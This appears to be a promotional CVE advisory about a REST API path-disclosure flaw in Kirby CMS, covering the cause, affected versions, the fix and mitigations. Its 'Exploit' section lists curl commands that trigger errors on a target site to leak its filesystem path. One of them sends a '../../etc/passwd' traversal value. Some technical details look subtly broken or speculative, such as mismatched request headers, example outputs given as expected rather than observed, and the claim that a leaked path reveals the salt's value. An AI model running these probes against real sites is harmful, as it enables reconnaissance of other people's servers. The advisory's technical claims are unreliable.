Listen to this Post
The vulnerability in CVE-2024-52815 stems from Kirby’s REST API error‑handling logic, specifically how the framework transforms unhandled PHP exceptions into JSON responses for frontend clients. By default, Kirby enables the REST API unless the `’api’ => false` directive is set in the configuration. When a request is made to any endpoint under the `/api` namespace, the system processes the input and routes it to the appropriate controller. If an error occurs—for instance, a malformed parameter, a missing required field, or an internal filesystem operation failure—the kernel invokes a dedicated error handler that catches the exception and serialises it into a structured JSON object. The content of this JSON response is conditioned by the `’debug’` option. In development environments, where `debug` is typically true, the error payload includes exhaustive debugging fields: the absolute filesystem path to the source file, the exact line number, the internal exception class name, and the API route that triggered the fault. In production, these fields are suppressed and replaced with a generic error message to avoid leaking internals. However, the flaw lies in the error handler’s sanitisation routine for the error message itself (the exception’s `getMessage()` string). Many PHP core functions and internal Kirby operations embed the server’s document root or full installation path directly into the exception message when they fail—for example, when `file_get_contents` cannot locate a file, or when `include` fails. The API handler did not strip or disguise these path segments from the final JSON output, even when `debug` was false. Thus, an unauthenticated attacker could craft a request that deliberately triggers a filesystem‑related error (e.g., accessing a non‑existent blueprint or requesting an invalid collection slug) and receive a JSON response containing the full server path, such as /var/www/html/kirby/site/.... With this path, an adversary can infer the default location of the `content.salt` file (used for cryptographic hashing) and potentially brute‑force or pre‑compute attacks against session cookies or password reset tokens. Furthermore, the exposed directory structure helps map the deployment layout, enabling more precise exploitation of other vulnerabilities. The issue affects all Kirby versions starting from 4.0.0 up to 4.9.4, and 5.0.0 up to 5.5.1. The fix, implemented in 4.9.5 and 5.5.2, introduces a strict filter that only allows full exception messages for exceptions belonging to the `Kirby\Exception` namespace—all other errors are either reduced to a generic string or, when in debug mode, have the path replaced with a relative suffix (keeping only the part inside the Kirby installation root). Outside debug mode, every non‑Kirby exception and native PHP error is replaced with a uniform generic message, effectively closing the information leak.
DailyCVE Form:
Platform: Kirby CMS
Version: 4.0.0-4.9.4, 5.0.0-5.5.1
Vulnerability: REST API Path Disclosure
Severity: Medium
Date: 2024-11-05
Prediction: Already patched (4.9.5/5.5.2)
What Undercode Say:
Simulate a malformed API request to trigger a PHP error
curl -X GET "https://target-kirby-site.com/api/pages/does-not-exist?invalid[]=value" -H "Accept: application/json"
Expected vulnerable response (debug=false) may contain:
{"status":"error","message":"File not found: /var/www/html/kirby/site/blueprints/does-not-exist.php"}
Enumerate API endpoints to find error-prone routes
curl -X POST "https://target-kirby-site.com/api/files" -d "parent=../../etc/passwd" -H "Content-Type: application/json"
Exploit: (Educational Purposes!)
1. Identify if REST API is enabled by checking /api endpoint
curl -I "https://target.com/api"
2. Trigger a path disclosure via a bogus file operation in the API
curl -X GET "https://target.com/api/collections/missing?limit=abc" -v
3. Observe the JSON response for "message" field containing absolute path
Example output: {"code":500,"message":"include(/var/www/html/kirby/config/missing.php): failed to open stream"}
4. Extract the root path (e.g., /var/www/html) and use it to guess content.salt location
Default salt path: /var/www/html/kirby/config/content.salt
Protection:
- Immediately update to Kirby 4.9.5, 5.5.2, or any later release.
- If updating is not possible, disable the REST API entirely by setting `’api’ => false` in your
config.php. - Alternatively, set `’debug’ => false` (which is the default for production) and ensure your custom error handlers do not re‑introduce verbose messages.
- Restrict network access to the `/api` endpoint via firewall rules (e.g., allow only trusted IPs) as a temporary mitigation.
Impact:
- An unauthenticated remote attacker can obtain the full filesystem path of the Kirby installation.
- This information assists in guessing the location and default value of
content.salt, potentially leading to cryptographic key compromise. - Exposed directory structure aids in mapping the server’s file organisation, facilitating subsequent targeted attacks (e.g., file inclusion or RCE) if combined with other weaknesses.
- The leak increases the overall attack surface and reduces the attacker’s effort to exploit hidden resources.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
